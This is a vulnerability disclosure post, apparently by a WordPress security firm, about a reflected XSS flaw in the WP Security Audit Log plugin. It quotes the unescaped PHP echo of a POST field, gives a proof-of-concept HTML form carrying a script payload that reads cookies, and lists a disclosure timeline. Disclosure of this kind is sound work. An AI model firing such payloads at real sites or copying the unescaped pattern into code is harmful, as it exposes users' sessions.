Reflected Cross-Site Scripting (XSS) Vulnerability in WP Security Audit Log
When it comes to the poor state web security a big culprit is security companies, who don’t seem to either know or care that that much about security in many cases. So it isn’t wasn’t that surprising that we found a security company would have a WordPress plugin with a security vulnerability due to failure to take a basic security measure the other day, but the situation is a good reminder that services you get from security companies are not also honestly sold.
We recently did a quick security check of security plugins that generate a log of activity in admin area of WordPress. One of the ones we found a security issue with is WP Security Audit Log, which is developed by WP White Security.
The reflected cross-site scripting (XSS) vulnerability we found in the plugin is relatively minor, due to the fact that type isn’t something that we see hacker attempting to exploit much and all the major web browsers other than Firefox providing XSS filtering, which will prevent many exploitation attempts. Of more concern when seeing this type of vulnerability is that indicates the developer is failing do security basics as this type of vulnerability involves not properly handling user input.
The vulnerability was in the AJAX accessible function AjaxDisableCustomField() in the file /wp-security-audit-log.php, which you can see echo’s out the variable POST variable “notice” without escaping it:
181 182 183 184 185 186 187 188 189 190 191 192 | public function AjaxDisableCustomField(){ $fields = $this->GetGlobalOption('excluded-custom'); if ( isset($fields) && $fields != "") { $fields .= ",".$_POST['notice']; } else { $fields = $_POST['notice']; } $this->SetGlobalOption('excluded-custom', $fields); echo 'Custom Field '.$_POST['notice'].' is no longer being monitored. Enable the monitoring of this custom field again from the <a href="admin.php?page=wsal-settings#tab-exclude"> Excluded Objects </a> tab in the plugin settings'; die; } |
That function is only accessible to logged in users.
The vulnerable code had been in the plugin over a year, as it was introduced in version 1.5 that was release on March 18, 2015.
What really got us was we went to the developer’s website to see how to contact them we found that the company offers is a security code review service for plugins, which they describe in part by saying:
WP WhiteSecurity specializes in WordPress plugins and themes security code reviews. Our team of experienced developers and penetration testers will identify security issues in your code and help you fix them by providing you practical coding solutions.
For a company that “specializes” in this sort of thing (it is on one of only four services they offer), they don’t seem to be very good at when it comes to their own plugin.
The vulnerability was at least promptly fixed, which often ins’t the case.
Proof of Concept
The following proof of concept will cause any available cookies to shown in alert box when logged in to WordPress. Major web browsers other than Firefox provide XSS filtering, so this proof of concept will not work in those web browsers.
Make sure to replace “[path to WordPress]” with the location of WordPress.
<html> <body> <form action="http://[path to WordPress]/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="AjaxDisableCustomField" /> <input type="hidden" name="notice" value="<script>alert(document.cookie);</script>" /> <input type="submit" value="Submit" /> </form> </body> </html>
Timeline
- 6/24/2016 – Developer notified.
- 6/27/2016- Version 2.4.4 released, which fixes the vulnerability.